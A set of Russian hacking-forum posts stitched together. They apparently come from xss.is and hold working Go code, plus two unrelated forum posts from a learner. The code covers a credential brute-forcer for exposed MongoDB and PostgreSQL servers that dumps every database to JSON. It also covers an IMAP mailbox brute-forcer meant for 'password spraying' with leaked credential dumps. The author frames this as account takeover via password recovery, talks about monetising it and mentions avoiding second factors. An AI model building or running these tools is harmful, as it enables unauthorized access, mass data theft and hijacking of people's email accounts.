Создадим папку files с двумя файлами: ip.txt для адресов и creds.txt для комбинаций логина и пароля в формате login:password. Первая комбинация в словаре будет (noauth:noauth). Если мы обнаружим такую запись в goods.txt, это будет означать, что сервер не требует данных для аутентификации.
Реализуем код для работы с MongoDB в файле mongo.go.
C-like:Copy to clipboard
package mongo
import (
"bo52/utils"
"context"
"encoding/json"
"fmt"
"log"
"os"
"strings"
"time"
"go.mongodb.org/mongo-driver/bson"
"go.mongodb.org/mongo-driver/mongo"
"go.mongodb.org/mongo-driver/mongo/options"
)
func MongoCheck(ip, cred string) string { // 1
// 2
parts := strings.Split(cred, ":")
if len(parts) != 2 {
log.Printf("Ошибка в формате комбинаций для брута %s", cred)
return ""
}
// 3
uri := fmt.Sprintf("mongodb://%s:%s@%s:27017", parts[0], parts[1], ip)
// 4
clientOptions := options.Client().ApplyURI(uri)
// 5
client, err := mongo.NewClient(clientOptions)
if err != nil {
log.Printf("Ошибка создания клиента для адреса %s; (комбинация - %s), %v\n", ip, cred, err)
return ""
}
// 6
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
// 7
err = client.Connect(ctx)
if err != nil {
log.Printf("Ошибка подключению к МонгоДБ. Адрес %s; (Комбинация - %s), %v\n", ip, cred, err)
return ""
}
// 8
err = client.Ping(ctx, nil)
if err != nil {
log.Printf("Ошибка подключению к МонгоДБ на этапе проверки соединения. Адрес %s; (Комбинация - %s), %v\n", ip, cred, err)
return ""
}
// 9
databases, err := listdbs(ctx, client)
if err != nil {
utils.WriteGoodToFile(ip, cred)
log.Printf("Ошибка получения списка баз данны. Адрес %s; (Комбинация - %s), %v\n", ip, cred, err)
return "break"
}
// 10
exportdbs(databases, client, ctx, ip)
utils.WriteGoodToFile(ip, cred)
return "break"
}
После того как мы подключимся к базе данных, нам нужно узнать список баз данных.
C-like:Copy to clipboard
func listdbs(ctx context.Context, client *mongo.Client) ([]string, error) {
databases, err := client.ListDatabaseNames(ctx, bson.D{})
if err != nil {
return nil, err
}
return databases, nil
}
Функция listdbs принимает два аргумента: ctx типа context.Context — контекст для управления временем жизни операции и отмены, и client типа *mongo.Client для взаимодействия с базой данных. Вызывается метод ListDatabaseNames у клиента MongoDB. Этот метод возвращает список имён баз данных в MongoDB. Параметр bson.D{} указывает, что запрос не содержит фильтра и будет возвращён список всех баз данных. Если возникает ошибка при выполнении запроса, функция возвращает nil и ошибку. Если запрос выполнен успешно, функция возвращает список имён баз данных и nil в качестве ошибки.
После успешного подключения и получения всех баз данных проходим по коллекциям каждой из баз данных и экспортируем их в папку dbs.
C-like:Copy to clipboard
func exportdbs(databases []string, client *mongo.Client, ctx context.Context, ip string) { // 1
// 2
for _, dbName := range databases {
// 3
fmt.Printf("База данных: %s\n", dbName)
db := client.Database(dbName)
// 4
collections, err := db.ListCollectionNames(ctx, bson.D{})
if err != nil {
log.Printf("Ошибка при получении коллекций для базы данных %s: %v\n", dbName, err)
continue
}
fmt.Println("Коллекции:")
// 5
for _, collectionName := range collections {
// 6
collection := db.Collection(collectionName)
cursor, err := collection.Find(context.TODO(), bson.M{})
if err != nil {
log.Printf("Не удалось найти докумменты в коллекций: %s: %v", collectionName, err)
continue
}
defer cursor.Close(context.TODO())
// 7
var docs []bson.M
if err := cursor.All(context.TODO(), &docs); err != nil {
log.Printf("Не удалось прочесть документы с курсора: %s: %v", collectionName, err)
continue
}
// 8
path := "dbs/" + strings.ReplaceAll(ip, ".", "_")
err = os.MkdirAll(path, os.ModePerm)
if err != nil {
log.Fatal("Не удалось создать папку в папке dbs для сохранения результатов")
}
// 9
fileName := fmt.Sprintf("%s/%s_%s.json", path, db.Name(), collectionName)
file, err := os.Create(fileName)
if err != nil {
log.Fatal("Не удалось создать файл для сохранения коллекций")
}
defer file.Close()
// 10
encoder := json.NewEncoder(file)
encoder.SetIndent("", " ")
if err := encoder.Encode(docs); err != nil {
log.Printf("Не удалось привести документ в формат JSON: %v", err)
continue
}
// 11
fmt.Printf("Коллекция %s успешно сохранена %s\n", collectionName, fileName)
}
}
}
Наконец, реализуем код в файле main.go.
C-like:Copy to clipboard
func main() {
// 1
ips, err := utils.ReadLines("files/ip.txt")
if err != nil {
log.Fatalf("Произошла ошибка во время чтения файла с ip адресами: %v", err)
}
// 2
creds, err := utils.ReadLines("files/creds.txt")
if err != nil {
log.Fatalf("Произошла ошибка во время чтения файла с комбинациями для брута: %v", err)
}
// 3
const maxConcurrent = 10
// 4
semaphore := make(chan struct{}, maxConcurrent)
var wg sync.WaitGroup
// 5
for _, ip := range ips {
wg.Add(1)
// 6
go func(ip string) {
// 7
defer wg.Done()
// 8
semaphore <- struct{}{}
defer func() { <-semaphore }()
// 9
for _, cred := range creds {
msg := mongo.MongoCheck(ip, cred)
if msg == "break" {
break
}
}
}(ip)
}
// 10
wg.Wait()
}
PostgreSQL
PostgreSQL — это реляционная база данных. PostgreSQL требует аутентификации пользователей и также ограничивает доступ по IP-адресам (для подключения к базе данных IP-адрес должен быть указан в конфигурации как 0.0.0.0/0). Для работы с PostgreSQL в Go используется библиотека pq.
Инструкция по развертыванию на Ubuntu: [How to Install and Setup PostgreSQL on Ubuntu 20.04](https://www.cherryservers.com/blog/how-to-install-and-setup- postgresql-server-on-ubuntu-20-04).
Создадим файл postgres.go в папке postgres. Код будет похож на тот, который использовался для работы с MongoDB.
C-like:Copy to clipboard
package postgres
import (
"bo52/utils"
"context"
"database/sql"
"encoding/json"
"fmt"
"log"
"os"
"strings"
"time"
_ "github.com/lib/pq"
)
func PostgresCheck(ip, cred string) string {
parts := strings.Split(cred, ":")
if len(parts) != 2 {
log.Printf("Ошибка в формате комбинаций для брута %s", cred)
return ""
}
// 1
connStr := fmt.Sprintf("postgres://%s:%s@%s:5432/postgres?sslmode=disable", parts[0], parts[1], ip)
db, err := sql.Open("postgres", connStr)
if err != nil {
log.Printf("Ошибка создания клиента для адреса %s; (комбинация - %s), %v\n", ip, cred, err)
return ""
}
defer db.Close()
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
// 2
err = db.PingContext(ctx)
if err != nil {
log.Printf("Ошибка подключения к PostgreSQL. Адрес %s; (Комбинация - %s), %v\n", ip, cred, err)
return ""
}
// 3
databases, err := listDBs(db)
if err != nil {
utils.WriteGoodToFile(ip, cred)
log.Printf("Ошибка получения списка баз данных. Адрес %s; (Комбинация - %s), %v\n", ip, cred, err)
return "break"
}
// 4
exportDBs(databases, ip, cred)
utils.WriteGoodToFile(ip, cred)
return "break"
}
C-like:Copy to clipboard
// 1
func listDBs(db *sql.DB) ([]string, error) {
// 2
rows, err := db.Query("SELECT datname FROM pg_database WHERE datistemplate = false;")
if err != nil {
return nil, err
}
defer rows.Close()
// 3
var databases []string
// 4
for rows.Next() {
var dbName string
if err := rows.Scan(&dbName); err != nil {
return nil, err
}
databases = append(databases, dbName)
}
// 5
return databases, nil
}
Таблицы — это основная структура для хранения данных в базе данных. Таблицы состоят из строк и столбцов. Каждая строка таблицы представляет собой запись, а каждый столбец — атрибут записи.
Реализуем функцию listTables, которая будет повторять структуру функции listDBs.
C-like:Copy to clipboard
func listTables(db *sql.DB) ([]string, error) {
rows, err := db.Query("SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';")
if err != nil {
return nil, err
}
defer rows.Close()
var tables []string
for rows.Next() {
var tableName string
if err := rows.Scan(&tableName); err != nil {
return nil, err
}
tables = append(tables, tableName)
}
return tables, nil
}
Также передаём аргумент db *sql.DB для подключения к базе данных и выполнения SQL-запросов. Этот SQL-запрос извлекает список всех таблиц в схеме public. information_schema.tables — это системная таблица, которая содержит информацию обо всех таблицах в базе данных. Условие table_schema = 'public' фильтрует таблицы, оставляя только те, которые находятся в схеме public (стандартная схема для пользовательских таблиц). Затем обрабатываем результат, сохраняем в срез tables и возвращаем данные.
Наконец, реализуем экспорт данных (функция будет очень похожа на ту, что использовалась для MongoDB):
C-like:Copy to clipboard
func exportDBs(databases []string, ip string, cred string) {
parts := strings.Split(cred, ":")
if len(parts) != 2 {
log.Printf("Ошибка в формате комбинаций для брута %s", cred)
}
for _, dbName := range databases {
fmt.Printf("База данных: %s\n", dbName)
// 1
connStr := fmt.Sprintf("postgres://%s:%s@%s:5432/%s?sslmode=disable", parts[0], parts[1], ip, dbName)
dbConn, err := sql.Open("postgres", connStr)
if err != nil {
log.Printf("Ошибка подключения к базе данных %s: %v\n", dbName, err)
continue
}
defer dbConn.Close()
// 2
tables, err := listTables(dbConn)
if err != nil {
log.Printf("Ошибка при получении таблиц для базы данных %s: %v\n", dbName, err)
continue
}
fmt.Println("Таблицы:")
for _, tableName := range tables {
// 3
rows, err := dbConn.Query(fmt.Sprintf("SELECT * FROM %s", tableName))
if err != nil {
log.Printf("Не удалось найти записи в таблице %s: %v", tableName, err)
continue
}
defer rows.Close()
// 4
columns, err := rows.Columns()
if err != nil {
log.Printf("Не удалось получить столбцы для таблицы %s: %v", tableName, err)
continue
}
path := "dbs/" + strings.ReplaceAll(ip, ".", "_")
err = os.MkdirAll(path, os.ModePerm)
if err != nil {
log.Fatal("Не удалось создать папку в папке dbs для сохранения результатов")
}
fileName := fmt.Sprintf("%s/%s_%s.json", path, dbName, tableName)
file, err := os.Create(fileName)
if err != nil {
log.Fatal("Не удалось создать файл для сохранения данных")
}
defer file.Close()
encoder := json.NewEncoder(file)
encoder.SetIndent("", " ")
// 5
for rows.Next() {
values := make([]interface{}, len(columns))
valuePtrs := make([]interface{}, len(columns))
for i := range columns {
valuePtrs[i] = &values[i]
}
if err := rows.Scan(valuePtrs...); err != nil {
log.Printf("Не удалось прочесть данные строки: %v", err)
continue
}
data := make(map[string]interface{})
for i, col := range columns {
data[col] = values[i]
}
if err := encoder.Encode(data); err != nil {
log.Printf("Не удалось привести данные в формат JSON: %v", err)
continue
}
}
fmt.Printf("Таблица %s успешно сохранена %s\n", tableName, fileName)
}
}
}
listTables
.Spoiler: Go++
Cobra
На финальном этапе добавим интерфейс взаимодействия с программой в виде командной строки (CLI). Если вы хотите добавить графический интерфейс, рекомендую фреймворк Waiils (подробнее о нем в этой статье).
Я буду использовать библиотеку Cobra. Добавляем её в наш проект с помощью команды go get github.com/spf13/cobra.
Создадим папку cmd с тремя файлами: mongo.go, postgres.go, root.go. В файлы mongo.go и postgres.go просто перенесём ту логику, что была в файле main.go.
C-like:Copy to clipboard
package cmd
import (
"bo52/mongo"
"bo52/utils"
"log"
"sync"
"github.com/spf13/cobra"
)
var mongoCmd = &cobra.Command{
Use: "mongo",
Short: "Perform MongoDB checks",
Run: func(cmd *cobra.Command, args []string) {
ips, err := utils.ReadLines("files/ip.txt")
if err != nil {
log.Fatalf("Error reading IP addresses: %v", err)
}
creds, err := utils.ReadLines("files/creds.txt")
if err != nil {
log.Fatalf("Error reading credentials: %v", err)
}
const maxConcurrent = 10
semaphore := make(chan struct{}, maxConcurrent)
var wg sync.WaitGroup
for _, ip := range ips {
wg.Add(1)
go func(ip string) {
defer wg.Done()
semaphore <- struct{}{}
defer func() { <-semaphore }()
for _, cred := range creds {
msg := mongo.MongoCheck(ip, cred)
if msg == "break" {
break
}
}
}(ip)
}
wg.Wait()
},
}
Создание команды Cobra для проверки MongoDB Use: "mongo" — определяет команду CLI как mongo. Short: "Perform MongoDB checks" — краткое описание команды. Run: переносим логику работы. Код для postgres.go аналогичен.
Код из файла root.go:
C-like:Copy to clipboard
package cmd
// 1
import (
"github.com/spf13/cobra"
)
// 2
var rootCmd = &cobra.Command{
Use: "bo52",
Short: "A CLI tool for MongoDB and PostgreSQL checks",
}
// 3
func Execute() error {
return rootCmd.Execute()
}
// 4
func init() {
rootCmd.AddCommand(mongoCmd)
rootCmd.AddCommand(postgresCmd)
}
Основной код функций main, в котором вызываем функцию Execute:
C-like:Copy to clipboard
package main
import (
"bo52/cmd"
"log"
"os"
)
func main() {
if err := cmd.Execute(); err != nil {
log.Fatal(err)
os.Exit(1)
}
}
Для вызова кода для проверки нужной СУБД добавляем её название в качестве
аргумента командной строки.
Исходный код прикреплён к сообщению. Трям! Пока!
Всем доброго дня.
Меня очень сильно убивает желание учить кодинг. В сентябре прошлого года я
толком не думаю в чем разница между разными яп выбрал для себя изучать Java.
Где-то в середине всего обучения и от безвыходности решил что буду backend
разработчиком, я уже далеко ушел. Найти работу Java Junior намного проще как
пишут, на hh куча вакансий и прочего.
По правде я никогда не хотел быть обычным разработчиком в ентерпрайзе или
любой другой конторе. Я просто знаю, что конкретно работая Java разработчиком,
я точно смогу обеспечить себе какую никакую жизнь. Возможно это глупо, и оно
мне не нужно. Но меня всегда тянуло в черную сторону интернета, наверное как и
многих здесь. Писать эксплойти, Backdoor и прочее-это уже вызывает некую
симпатию. Но я не уверен, что выбрав этот путь я смогу обеспечить себе жизнь,
с другой стороны это принесет мне удовольствие, которого в моей жизни мало. Я
бы начал с нуля изучать к примеру Rust, но я ведь так далеко зашёл.
Вообщем это палка с двумя концами, возможно кто-то сможет поделиться советом
или напутствие, я был бы благодарен.
Я самоучился на Python (3+ лет) и хочу расширить и выучить другой язык. Я думаю, Java или C? Ценю любой совет, спасибо.
_Автор:miserylord
Эксклюзивно для форума: _xss.is
Насколько сложно написать брутфорс почтовых ящиков? (спойлер: совсем не сложно) Трям! Здравствуйте! Предлагаю познакомиться, меня зовут miserylord. Мне нравится информационная безопасность, программирование (а также женщины, пираты и аниме!). Статья рассказывает, как написать брут почты через IMAP на Go.
Разделы
Spoiler: От гонцов и голубей до IMAP и POP3
Протоколы
Согласно закону Конвея, бизнес-процессы компаний обречены повторять её
структуру. Человеческие интеракции основаны на масках, контексте неявных
соглашений и правилах общения. Повторяя структуру, сеть использует протоколы
взаимодействия и правила передачи информации, совокупность которых образует
стек.
Стек протоколов TCP/IP декларирует взаимодействие между участниками сети
Интернет. Вам также может быть известна модель OSI. Главное отличие между ними
состоит в том, что модель OSI — это скорее структура, в то время как TCP/IP —
практическая реализация. Протоколы подразделяются по градациям уровня
абстракций, от физического до прикладного уровня. Вам наверняка знаком
протокол HTTP, который используется повсеместно для передачи данных, включая
авторизацию пользователей (если быть точными, то его расширенная версия HTTPS,
к которой добавляется шифрование с использованием TLS).
Для работы с электронной почтой в стеке TCP/IP используются три протокола:
SMTP, POP3 и IMAP. Почему их так много и почему просто не использовать HTTP?
Во-первых, протоколы для работы с электронной почтой появились раньше, чем
HTTP, во-вторых, они обладают определённой специализацией, заточенной под
работу с электронными письмами. Рассмотрим каждый из них, чтобы найти
различия.
SMTP, POP3, IMAP
Прежде чем перейти к почтовым протоколам, важно упомянуть о клиент-серверной
модели. Клиент-серверная архитектура представляет собой абстракцию и метод
организации работы компьютерных систем, в которой присутствуют два типа
компьютеров: клиенты и серверы. Клиенты являются потребителями, а серверы —
поставщиками услуг.
Первым массовым протоколом для электронной почты стал SMTP (Simple Mail
Transfer Protocol, или простой протокол передачи почты). В то время все было
немного иначе: пользователи запускали почтовый клиент (локальную программу),
который извлекал сообщения из файловой системы. На компьютере также работал
процесс Mail Transfer Agent (MTA). Если пользователь хотел отправить письмо,
он передавал его процессу MTA, который использовал SMTP (работающий поверх
TCP) для передачи письма другому пользователю (у которого, в свою очередь,
также был запущен процесс почтового агента).
SMTP работает по клиент-серверной модели: каждый компьютер выступает в роли
сервера, обслуживая запросы других компьютеров, которые выступают в роли
клиентов. SMTP используется для отправки писем от клиента к серверу. Для
удаленной загрузки электронной почты с почтового сервера на устройство
пользователя используются другие протоколы, такие как POP или IMAP.
POP3 (третья версия протокола Post Office Protocol) — протокол для доступа к
электронной почте, которая хранится на почтовом сервере (а не в вашей
локальной файловой системе, хотя ваш компьютер также может выступать в
качестве сервера). Его работа происходит так: почтовый клиент подключается к
POP3 серверу, используя порт 110 (или 995 для защищенного соединения), сервер
запрашивает имя учетной записи и пароль. После успешного входа сервер
открывает ваш файл писем на почтовом сервере и предоставляет доступ к его
содержимому. Затем он загружает содержимое писем на ваш компьютер (клиент).
Вот и вся его работа.
Как вы могли заметить, POP3 не поддерживает синхронизацию между несколькими
устройствами. POP3 сервер действует как интерфейс между почтовым клиентом и
текстовым файлом, содержащим ваши сообщения.
Для возможности синхронизированного подключения с разных клиентов используется
более продвинутый протокол IMAP (Internet Message Access Protocol). С его
помощью все изменения, сделанные на одном устройстве, отражаются на всех
остальных устройствах. Кроме того, поиск осуществляется непосредственно на
сервере, также протокол позволяет организовать письма с помощью папок, которые
также хранятся на сервере.
IMAP в целом аналогичен SMTP — это клиент-серверный протокол, работающий
поверх TCP. Клиенты отправляют команды, а серверы отвечают. Обмен начинается с
аутентификации клиента и указания почтового ящика, к которому он хочет
получить доступ. В отличие от POP3, который загружает и обычно удаляет
сообщения с сервера, IMAP позволяет работать с письмами непосредственно на
сервере, обеспечивая синхронизацию между устройствами.
Стоит отметить, что когда пользователь отправляет сообщение, клиент не
использует IMAP; вместо этого он использует SMTP.
Резюмируя, IMAP позволяет управлять и читать электронные сообщения на сервере,
сохраняя их статус и папки, в то время как POP3 загружает сообщения с сервера
на клиентское устройство. SMTP используется для отправки электронных сообщений
между почтовыми серверами.
Spoiler: Идея, код
Идея
Идея лежит в основе разработки программного обеспечения. За ней следует план.
У вас может быть невероятно чудесная идея, например, увеличение урожайности
зерна, однако, если ваш план заключается в уничтожении воробьев, у меня для
вас плохие новости.
Цель довольно проста: написать брутфорс для почтовых ящиков через IMAP. Что
касается монетизации кода, возможно, вы уже видите проблему. Теоретически
программа позволяет осуществлять атаку "password spraying" (если получен
доступ к почте, то через восстановление можно получить доступ к большинству
аккаунтов, где используется данная почта) на основе дампов баз данных сайта X.
Проблема в том, что IMAP-сервер не открыт по умолчанию, и не каждый открытый
IMAP-сервер позволяет установить пароль, идентичный паролю от почты для веб-
клиента, а в ряде случаев вообще не позволяет его установить.
Я провел небольшой ресерч публичных файлов valid.txt и могу предположить, что
существует множество почтовых сервисов с открытым IMAP по умолчанию. Также
встречались доступы для сервисов, где IMAP был открыт с установленным паролем
сервиса. То есть программа реализует эту атаку, но не для всех почтовых
доступов. Выходом может стать брутфорс веб-интерфейса почтового клиента
(главное, не поймать второй фактор).
После определения цели можно приступить к проработке пользовательских историй,
на основе которых будет проектироваться логика. История проста: пользователь
передает программе файл с доступами. Он хочет получить валидные данные и сразу
же искать нужные ему письма, подсчитывать их количество, сохранять валидные
результаты.
Рассписывать логику подробнее нет никакого смысла, она умещается в голове.
Скажу только, что в первую очередь брутфорс почтовых ящиков это почтовый
клиент, типа, Thunderbird, а только во вторую — брутфорс типа Hydra.
Код будет написан на языке Golang. Почему Golang? Он оптимально подходит для
решения данной задачи. Если искать обоснование, то этот язык обладает мощными
возможностями (включая работу с сетью), высокой скоростью выполнения,
значительной популярностью. В нем изначально заложены возможности работы с
параллелизмом, а также он имеет относительно низкий порог входа (по сравнению
с C или Rust). Однако нет лучшего языка программирования, чем тот, который
решает задачу.
Даже если вы не знакомы с Go, но при этом работали с другими языками
программирования, код с объяснением будет вам понятен.
Код. Авторизация на почтовом сервере
Основная задача — это авторизация на почтовый сервер, с неё и начнём.
Инициализируем проект командой go mod init imap
. Создаём папку auth в
корневой директории с файлом auth.go.
C-like:Copy to clipboard
// 1
package auth
import (
"crypto/tls"
"fmt"
"log"
// 2
"github.com/emersion/go-imap/client"
)
// 3
type Config struct {
Server string
Port int
Username string
Password string
}
// 4
func Login(cfg Config) (*client.Client, error) {
// 5
c, err := client.DialTLS(fmt.Sprintf("%s:%d", cfg.Server, cfg.Port), &tls.Config{InsecureSkipVerify: true})
if err != nil {
// 6
return nil, fmt.Errorf("не удалось подключиться к серверу: %w", err)
}
// 7
log.Println("Подключение успешно")
// 8
if err := c.Login(cfg.Username, cfg.Password); err != nil {
return nil, fmt.Errorf("не удалось выполнить вход: %w", err)
}
// 9
log.Println("Вход выполнен успешно")
// 10
return c, nil
}
github.com/emersion/go-imap
В рамках Go пакеты — это библиотеки. Они могут быть как внутренние, так и
внешние. Имена публичных функций внутри пакетов начинаются с большой буквы,
приватных — с маленькой. Это же верно и для структур. Для подключения внешних
пакетов используется команда go get
. В контексте кода команда go get github.com/emersion/go-imap/client
используется для получения внешнего
пакета. Функции могут возвращать больше одного значения.
Создаем файл main.go в корневой директории проекта.
C-like:Copy to clipboard
package main
import (
// 1
"imap/auth"
"log"
)
func main() {
// 2
cfg := auth.Config{
Server: "imap.mail.yahoo.com",
Port: 993,
Username: "johndoe@yahoo.com",
Password: "123456",
}
// 3
client, err := auth.Login(cfg)
// 4
if err != nil {
log.Fatalf("Ошибка при аутентификации: %v", err)
}
// 5
defer client.Logout()
// 6
log.Println("Клиент готов к использованию")
}
main функция в Go — это точка старта программы. Внутренние пакеты находятся по
адресу, который состоит из названия проекта при инициализации и названия
пакета. defer реализует собой стек, который будет вызван после завершения
выполнения функций.
Тестируем на примере почтового сервера Yahoo. Адреса сервера и порт находим в
документации — ссылка. Для успешного
подключения необходимо открыть доступ по IMAP. Это делается в настройках веб-
клиента (для Yahoo по адресу login.yahoo.com/myaccount/security необходимо
сгенерировать пароль для программы и указать именно его).
(Реализовать подключение с помощью POP3 можно с помощью такой функции, не буду
разбирать её подробно, поскольку не включил её в итоговый проект. Она не
использует сторонние пакеты.)
C-like:Copy to clipboard
package auth
import (
"bufio"
"crypto/tls"
"fmt"
"log"
"net"
"strings"
)
type Config struct {
Server string
Port int
Username string
Password string
}
type Client struct {
conn net.Conn
reader *bufio.Reader
}
func (c *Client) Quit() {
c.sendCommand("QUIT")
c.conn.Close()
}
func (c *Client) sendCommand(cmd string) (string, error) {
_, err := fmt.Fprintf(c.conn, "%s\r\n", cmd)
if err != nil {
return "", err
}
response, err := c.reader.ReadString('\n')
if err != nil {
return "", err
}
if !strings.HasPrefix(response, "+OK") {
return response, fmt.Errorf("неудачная команда: %s", response)
}
return response, nil
}
func Login(cfg Config) (*Client, error) {
conn, err := tls.Dial("tcp", fmt.Sprintf("%s:%d", cfg.Server, cfg.Port), &tls.Config{InsecureSkipVerify: true})
if err != nil {
return nil, fmt.Errorf("не удалось подключиться к серверу: %w", err)
}
reader := bufio.NewReader(conn)
_, err = reader.ReadString('\n')
if err != nil {
return nil, fmt.Errorf("ошибка при чтении приветственного сообщения: %w", err)
}
client := &Client{
conn: conn,
reader: reader,
}
log.Println("Подключение успешно")
_, err = client.sendCommand(fmt.Sprintf("USER %s", cfg.Username))
if err != nil {
return nil, fmt.Errorf("ошибка при отправке команды USER: %w", err)
}
_, err = client.sendCommand(fmt.Sprintf("PASS %s", cfg.Password))
if err != nil {
return nil, fmt.Errorf("ошибка при отправке команды PASS: %w", err)
}
log.Println("Вход выполнен успешно")
return client, nil
}
Адреса IMAP-серверов
Внесем изменения в файл main.go
C-like:Copy to clipboard
package main
import (
"bufio"
"log"
"imap/auth"
"os"
"strings"
)
// 1
var imapServers = map[string]string{
"yahoo.com": "imap.mail.yahoo.com",
"outlook.com": "outlook.office365.com",
}
// 2
func getIMAPServer(domain string) (string, bool) {
server, exists := imapServers[domain]
if !exists {
server = "imap." + domain
}
return server, true
}
func main() {
// 3
file, err := os.Open("emails.txt")
if err != nil {
log.Fatalf("Не удалось открыть файл: %v", err)
}
defer file.Close()
// 4
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
parts := strings.Split(line, ":")
if len(parts) != 2 {
log.Printf("Некорректная строка: %v", line)
continue
}
// 5
email := parts[0]
password := parts[1]
domain := strings.Split(email, "@")[1]
// 6
server, exists := getIMAPServer(domain)
if !exists {
log.Printf("IMAP сервер для домена %v не найден", domain)
continue
}
cfg := auth.Config{
Server: server,
Port: 993,
Username: email,
Password: password,
}
client, err := auth.Login(cfg)
if err != nil {
log.Printf("Ошибка при аутентификации для %v: %v", email, err)
continue
}
defer client.Logout()
log.Printf("Клиент для %v готов к использованию", email)
}
if err := scanner.Err(); err != nil {
log.Fatalf("Ошибка при чтении файла: %v", err)
}
}
Карты в Go аналогичны словарям в Python.
Адрес для IMAP-сервера outlook.com, также как и ранее для Yahoo, взят из
документации. Существует множество почтовых серверов. Каким образом можно
добавить потенциально все из них?
Домены инкапсулируют IP-адреса с использованием протокола DNS (Domain Name
System). С помощью DNS можно получить MX записи. Записи об обмене почтой
указывают, какие почтовые серверы принимают электронную почту для домена,
однако они работают с SMTP и не подходят для задачи с IMAP.
Большинство IMAP-серверов содержат слово "imap" в домене, и многие из них
используют порт 993 (но это не обязательно).
Можно сделать следующее. Для поиска доменов можно использовать программу
Sublist3r. Клонируем репозиторий и
устанавливаем зависимости. Для поиска поддоменов для домена yahoo.com:
python3 sublist3r.py -d yahoo.com > res.txt
команда найдет множество
поддоменов для домена Yahoo и сохранит результат в файле res.txt. Затем можно
использовать команду: grep 'imap' res.txt
Это извлечет только строки,
содержащие "imap", и вы сможете получить адреса IMAP-серверов Yahoo. С помощью
небольшого скрипта на bash или кода на Go можно автоматизировать этот процесс
для всех почтовых доменов. Список доменов можно найти на GitHub
здесь.
Поиск писем по отправителю
Создадим папку emails с файлом emailutils.go для реализации функций по поиску писем от отправителей. Сначала получим все письма с почты.
C-like:Copy to clipboard
package emailutils
import (
"github.com/emersion/go-imap"
"github.com/emersion/go-imap/client"
)
// 1
func FetchEmails(client *client.Client) ([]*imap.Message, error) {
// 2
mbox, err := client.Select("INBOX", false)
if err != nil {
return nil, err
}
// 3
seqset := new(imap.SeqSet)
seqset.AddRange(1, mbox.Messages)
// 4
messages := make(chan *imap.Message, 10)
done := make(chan error, 1)
go func() {
done <- client.Fetch(seqset, []imap.FetchItem{imap.FetchEnvelope}, messages)
}()
// 5
var result []*imap.Message
for msg := range messages {
result = append(result, msg)
}
// 6
if err := <-done; err != nil {
return nil, err
}
// 7
return result, nil
}
Об каналах и горутинах расскажу немного позже. В основном мы используем возможности ранее подключенной библиотеки. Напишем функцию для поиска сообщений от конкретных отправителей в этом же файле ниже:
C-like:Copy to clipboard
// 1
func FilterBySender(messages []*imap.Message, senders ...string) ([]*imap.Message, map[string]int) {
// 2
filteredMessages := []*imap.Message{}
count := make(map[string]int)
// 3
for _, sender := range senders {
count[sender] = 0
}
// 4
for _, msg := range messages {
for _, sender := range senders {
// 5
from := msg.Envelope.From[0]
if from != nil && from.Address() == sender {
filteredMessages = append(filteredMessages, msg)
count[sender]++
}
}
}
// 6
return filteredMessages, count
}
Сохранение результата
Возвращаемся в main.go и реализуем функцию для сохранения результата в файл. Результаты будут сохраняться в формате: список адресов и количество сообщений от определенных отправителей.
C-like:Copy to clipboard
// 1
func saveCredentialsToFile(email, password string, counts map[string]int) error {
// 2
file, err := os.OpenFile("goods.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
return err
}
defer file.Close()
// 3
_, err = file.WriteString(fmt.Sprintf("%s:%s\n", email, password))
if err != nil {
return err
}
// 4
for sender, num := range counts {
if num > 0 {
_, err := file.WriteString(fmt.Sprintf("Сообщений от %s: %d\n", sender, num))
if err != nil {
return err
}
}
}
// 5
return nil
}
Добавляем в функцию main
следующий код:
C-like:Copy to clipboard
messages, err := emailutils.FetchEmails(client)
if err != nil {
log.Printf("Ошибка при получении сообщений для %v: %v", email, err)
continue
}
filteredMessages, count := emailutils.FilterBySender(messages, "name@gmail.com", "support@ty.day")
err = saveCredentialsToFile(email, password, count)
if err != nil {
log.Printf("Ошибка при сохранении учетных данных для %v: %v", email, err)
}
Вызываем функции по поиску писем и поиску писем от конкретных отправителей, а также функцию сохранения.
Валидация имейлов
Email адреса должны следовать определенной структуре, которая описана спецификацией и включает следующие правила:
В файле main.go напишем функцию для валидации.
C-like:Copy to clipboard
func validateEmail(email string) bool {
// 1
if strings.Count(email, "@") != 1 {
return false
}
// 2
parts := strings.Split(email, "@")
if len(parts) != 2 {
return false
}
user := parts[0]
domain := parts[1]
// 3
if len(user) > 64 || len(domain) > 253 {
return false
}
// 4
if strings.HasPrefix(user, ".") || strings.HasSuffix(user, ".") {
return false
}
if strings.HasPrefix(domain, ".") || strings.HasSuffix(domain, ".") {
return false
}
// 5
if strings.Contains(email, "..") {
return false
}
// 6
allowedSpecialChars := ` ()[]\,:;<>@`
// 7
for _, char := range user {
if !(unicode.IsLetter(char) || unicode.IsDigit(char) || strings.ContainsRune(allowedSpecialChars, char) || char == '.' || char == '-') {
return false
}
}
// 8
for _, char := range domain {
if !(unicode.IsLetter(char) || unicode.IsDigit(char) || char == '.' || char == '-') {
return false
}
}
// 9
return true
}
В функцию main добавляем проверку.
C-like:Copy to clipboard
if !validateEmail(email) {
log.Printf("Некорректный адрес электронной почты: %v", email)
continue
}
Основная часть проекта уже завершена. Реализованы функции для подключения к IMAP серверу, поиска по отправителю, сохранения результата и валидации данных.
Spoiler: Быстрее пули
Параллелизм и конкурентность
Разница между параллелизмом и конкурентностью состоит в том, что
конкурентность — это свойство кода, в то время как параллелизм — свойство
исполняемой программы. Конкурентный код организован таким образом, что
отдельные задачи могут прерывать друг друга и переключаться между собой
асинхронно или независимо. Если конкурентность описывает, как задачи могут
быть организованы для потенциального одновременного выполнения, то параллелизм
касается их фактического одновременного физического выполнения.
Реализация конкурентного кода может приводить к ряду проблем, которые
необходимо учитывать:
Горутины
Golang использует уникальную модель конкурентного программирования, основанную
на горутинaх — так называемых легковесных потоках. Процессы системы порождают
потоки; однако создание потока является относительно дорогостоящей операцией.
Легковесность горутин достигается за счет того, что они находятся на уровне
потоков операционной системы. Горутины создаются в рамках потоков (горутины
живут в потоках), и коммуникация между горутинами дешевле, чем между потоками.
Глубже говоря, потоки имеют свой собственный стек, в то время как горутины
организованы сложнее. Весь этот механизм управляется средой выполнения Go.
Каждая программа на Go выполняется минимум в одной горутине. Для запуска
горутины используется ключевое слово go. Горутины запускаются конкурентно, но
не обязательно выполняются параллельно.
